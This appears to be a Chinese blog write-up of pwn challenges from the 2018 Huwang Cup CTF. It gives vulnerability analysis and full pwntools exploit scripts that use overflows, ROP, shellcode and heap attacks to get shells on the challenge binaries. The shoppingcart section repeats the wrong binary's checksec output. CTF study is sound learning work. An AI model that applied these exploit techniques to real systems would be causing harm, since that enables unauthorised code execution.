骑麦兜看落日

[WriteUp]护网杯

字数统计: 1.9k阅读时长: 9 min
2018/10/13 Share

Pwn


gettingstart


程序分析

1
2
3
4
5
6
7
8
$ file gettingStart_ktQeERc.dms 
gettingStart_ktQeERc.dms: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8889abb24c5308b96e8483d5dbdd1aa67fffdaa4, stripped
$ checksec gettingStart_ktQeERc.dms
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

解题过程

一个简单的溢出,只要溢出v70x7FFFFFFFFFFFFFFFL并且v80.1即可,不太懂小数是怎么表示的所以我直接写了个c程序跑了一下


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'gettingStart_ktQeERc.dms'

io = process(exe)

def gdb(script = ''):
attach(io,gdbscript = script)

payload = 'A' * 0x18
payload += p64(0x7FFFFFFFFFFFFFFF)
payload += p64(0x3fb999999999999a)

io.recvuntil('But Whether it starts depends on you.')
io.send(payload)
io.recv()
io.interactive()

shoppingcart


程序分析

1
2
3
4
5
6
7
8
$ file gettingStart_ktQeERc.dms 
gettingStart_ktQeERc.dms: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8889abb24c5308b96e8483d5dbdd1aa67fffdaa4, stripped
$ checksec gettingStart_ktQeERc.dms
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

解题过程

这道题分两部分,第一部分似乎没有什么漏洞,但是可以给第二部分做一个铺垫

在第二部分中,edit函数没有对输入的index做检查,同时在0x202068处存在一个指向它自己的指针,我们可以利用它指向ptr_goods[0],从而实现任意地址任意写


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python

from pwn import *
from LibcSearcher import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'shoppingCart.dms'
elf = ELF(exe)

io = process(exe)

def gdb(script = ''):
attach(io,gdbscript = script)

def cart(context):
io.recvuntil('EMMmmm, you will be a rich man!')
io.sendline('1')
io.recvuntil('RMB or Dollar?')
io.sendline(context)

def goods():
io.recvuntil('EMMmmm, you will be a rich man!')
io.sendline('3')

def add(name):
io.recvuntil('Now, buy buy buy!')
io.sendline('1')
io.recvuntil('How long is your goods name?')
io.sendline(str(len(name)+1))
io.recvuntil('What is your goods name?')
io.sendline(name)

def delete(index):
io.recvuntil('Now, buy buy buy!')
io.sendline('2')
io.recvuntil('Which goods that you')
io.sendline(str(index))

def edit(index):
io.recvuntil('Now, buy buy buy!')
io.sendline('3')
io.recvuntil('Which goods you need to modify?')
io.sendline(str(index))
io.recvuntil('OK, what would you like to modify ')
addr = u64(io.recv(6).ljust(8, '\x00'))
return addr

def leak(address, text):
edit(-0x2f)
io.send(p64(code_addr+address)[:6]) # leak addr
leak_addr = edit(0) # get plt.got
io.send(text[:7])
return leak_addr

str_addr = 0x2020A0
ptr_addr = 0x2021E0

goods()
add('A'*0x8)

#gdb()
code_addr = edit(-0x2f) - 0x202068
io.send(p64(code_addr+ptr_addr)[:6])

libc_main_addr = leak(elf.got['__libc_start_main'], 'A'*7)

obj = LibcSearcher('__libc_start_main', libc_main_addr)
libc_main_got = obj.dump("__libc_start_main")
system_got = obj.dump("system")
system_addr = libc_main_addr - (libc_main_got - system_got)

leak(elf.got['free'], p64(system_addr))
leak(str_addr, '/bin/sh')
delete(0)

io.interactive()

huwang


程序分析

1
2
3
4
5
6
7
8
$ file huwang 
huwang: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f74d9c8c7f896833ec74d4a898784772c139878a, stripped
$ checksec huwang
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题过程

首先分析main函数,最后发现只有backdoor有用

其逻辑是读取随机数算出md5写入secret文件,然后与输入进行比较,成功后进入下一个存在溢出的函数

这个函数中调用了一个HIDWORD(wSecret) = open("/tmp/secret", 513);,其中flag传入的参数是513,这个模式下会以清空原文件的方式打开,我们可以利用这个时间文件为空算出md5,只要这个时间足够长就可以rop

在输入加密轮数时是有符号整型,且没有检查负数,在进行循环md5时转换为无符号整数,因此可以进行多轮加密


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python

import threading
from pwn import *

exe = './huwang'
lib = './libc.so.6'
ip = ''
port = 0
elf = ELF(exe)
libc = ELF(lib)

def pwn(opt):
def gdb(script = ''):
attach(io,gdbscript = script)

def crackMD5(rounds):
io.recvuntil('command>> ')
io.sendline('666')
io.recvuntil('please input your name')
io.sendline('B'*0x18)
io.recvuntil('Do you want to guess the secret?')
io.sendline('y')
io.recvuntil('Input how many rounds do you want to encrypt the secret:')
io.sendline(str(rounds))
io.recvuntil('Try to guess the md5 of the secret')
io.send(p64(0xbff94be43613e74a) + p64(0xa51848232e75d279))

def introduce():
io.recvuntil('What`s your occupation?')
io.sendline('C'*0xf0)
io.recvuntil('Do you want to edit you introduce by yourself[Y/N]')
io.sendline('Y')

context(log_level = "debug",arch = "amd64",os = "linux")
io = process(exe, env={"LD_PRELOAD":libc.path})
#io = remote(ip, port)

p_rdi = 0x401573
intro_addr = 0x40101C
padding = 'A'*0x108

crackMD5(opt)
io.recvuntil('B\n')
canary = u64(io.recv(7).rjust(8, '\x00'))
introduce()
payload = padding
payload += p64(canary)
payload += p64(0)
payload += p64(p_rdi)
payload += p64(elf.got['puts'])
payload += p64(intro_addr)
io.sendline(payload)

io.recvuntil('Congratulations, ')
puts_addr = u64((io.recv(6)).ljust(8, '\x00'))
system_addr = puts_addr-(libc.symbols['puts']-libc.symbols['system'])
bin_sh_addr = puts_addr-(libc.symbols['puts']-libc.search('/bin/sh').next())
payload = padding
payload += p64(canary)
payload += p64(0)
payload += p64(p_rdi)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload += p64(intro_addr)

introduce()
io.sendline(payload)
io.recv()
io.interactive()

t1 = threading.Thread(target=pwn, args=(-1,))
t2 = threading.Thread(target=pwn, args=(1,))
t1.start()
sleep(2)
t2.start()

相关资料


six


程序分析

1
2
3
4
5
6
7
8
$ file six 
six: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=426dd1b2aab668b73945b91d45568813be69b9c7, stripped
$ checksec six
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

解题过程

程序首先调用mmap函数映射两块内存区域,一块为rwx,用作shellcode,一块为rw,用作FakeStack

然后读入6个字节,这六个字节需要奇偶个数相同

最后将src与输入的字节一同复制到映射的内存中并执行

那么src是什么呢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.data:0000000000202020                 mov     rsp, rdi
.data:0000000000202023 xor rbp, rbp
.data:0000000000202026 xor rax, rax
.data:0000000000202029 xor rbx, rbx
.data:000000000020202C xor rcx, rcx
.data:000000000020202F xor rdx, rdx
.data:0000000000202032 xor rdi, rdi
.data:0000000000202035 xor rsi, rsi
.data:0000000000202038 xor r8, r8
.data:000000000020203B xor r9, r9
.data:000000000020203E xor r10, r10
.data:0000000000202041 xor r11, r11
.data:0000000000202044 xor r12, r12
.data:0000000000202047 xor r13, r13
.data:000000000020204A xor r14, r14
.data:000000000020204D xor r15, r15

src是这些,最后只剩下rip和rsp寄存器

我们能做的就是在清空了其他寄存器后使用六个字节getshell

既然所有的寄存器都为0,那么可以直接调用0号系统调用read,将rsi和rdx设置为rsp

当mmap设置为随机地址失败后会返回两个相邻的映射内存区域,通过read可以覆盖到rip,之后可以再加上shellcode


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'six'


io = process(exe)

def gdb(script = ''):
attach(io,gdbscript = script)
#gdb()
payload = asm('''
push rsp
pop rsi
mov edx,esi
syscall
''')

io.recvuntil('Show Ne0 your shellcode:')
io.send(payload)

shellcode = asm(shellcraft.sh())
nop = asm('nop')

payload = nop*(0x1000-0x500+0x36)+shellcode
io.sendline(payload)

io.interactive()

相关资料


calendar


题目信息

House of Roman & Fastbin & Forgotten Chunk


程序分析

1
2
3
4
5
6
7
8
$ file calendar.dms 
calendar.dms: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dd877e5239739321439a91ff743ffcb5f0b722e, stripped
$ checksec calendar.dms
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

解题过程

用house of roman

程序的remove函数存在UAF,并且edit函数存在off-by-one但是没有leak函数,所以需要爆破

由于申请的最大size为0x68,所以需要伪造一个unsorted bin,释放后得到__mian_arena+0x88处的地址

之后利用fastbin attack伪造一个fastbin的fd链,使其指向__malloc_hook附近,这里需要注意需要最后的fd指向0

然后通过unsorted bin attack劫持__malloc_hook


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'calendar.dms'
elf = ELF(exe)

io = process(exe)

def gdb(script = ''):
attach(io,gdbscript = script)

def name(name):
io.recvuntil('input calendar name> ')
io.sendline(name)

def add(index,size):
io.recvuntil('---------calendar management---------')
io.sendline('1')
io.recvuntil('which day:')
io.sendline(str(index))
io.recvuntil('size> ')
io.sendline(str(size))

def edit(index,info):
io.recvuntil('---------calendar management---------')
io.sendline('2')
io.recvuntil('which day:')
io.sendline(str(index))
io.recvuntil('size> ')
io.sendline(str(len(info)-1))
io.recvuntil('info> ')
io.send(info)

def remove(index):
io.recvuntil('---------calendar management---------')
io.sendline('3')
io.recvuntil('which day:')
io.sendline(str(index))

name('ls')

# create fastbin
add(1,0x68)
add(2,0x68)
add(3,0x68)

# fake unsorted bin
edit(1,'A'*0x68+'\x91')
edit(3,'B'*0x18+p64(0x51))
remove(2)

# free fastbin
edit(1,'C'*0x68+'\x71')

remove(1)
remove(3)

# fake fastbin list
edit(2,'\xed\x1a')
edit(3,'\x70\x70')

# alloc
add(1,0x60) # 0x5555557570e0
add(2,0x60) # 0x555555757070
add(3,0x60) # 0x7ffff7dd1aed

# clear fd
remove(1)
edit(1,p64(0))
add(1,0x60)

edit(2,p64(0)+'\x00\x1b')
#gdb()
add(2,0x60)

one=0xf66f0
libcbase=0x7ffff7a0d000
edit(3,'A'*0x13+p64(libcbase+one)[:3])

remove(1)
remove(1)

io.recv()
io.interactive()

相关资料

CATALOG
  1. 1. Pwn
    1. 1.1. gettingstart
      1. 1.1.1. 程序分析
      2. 1.1.2. 解题过程
      3. 1.1.3. EXP
    2. 1.2. shoppingcart
      1. 1.2.1. 程序分析
      2. 1.2.2. 解题过程
      3. 1.2.3. EXP
    3. 1.3. huwang
      1. 1.3.1. 程序分析
      2. 1.3.2. 解题过程
      3. 1.3.3. EXP
      4. 1.3.4. 相关资料
    4. 1.4. six
      1. 1.4.1. 程序分析
      2. 1.4.2. 解题过程
      3. 1.4.3. EXP
      4. 1.4.4. 相关资料
    5. 1.5. calendar
      1. 1.5.1. 题目信息
      2. 1.5.2. 程序分析
      3. 1.5.3. 解题过程
      4. 1.5.4. EXP
      5. 1.5.5. 相关资料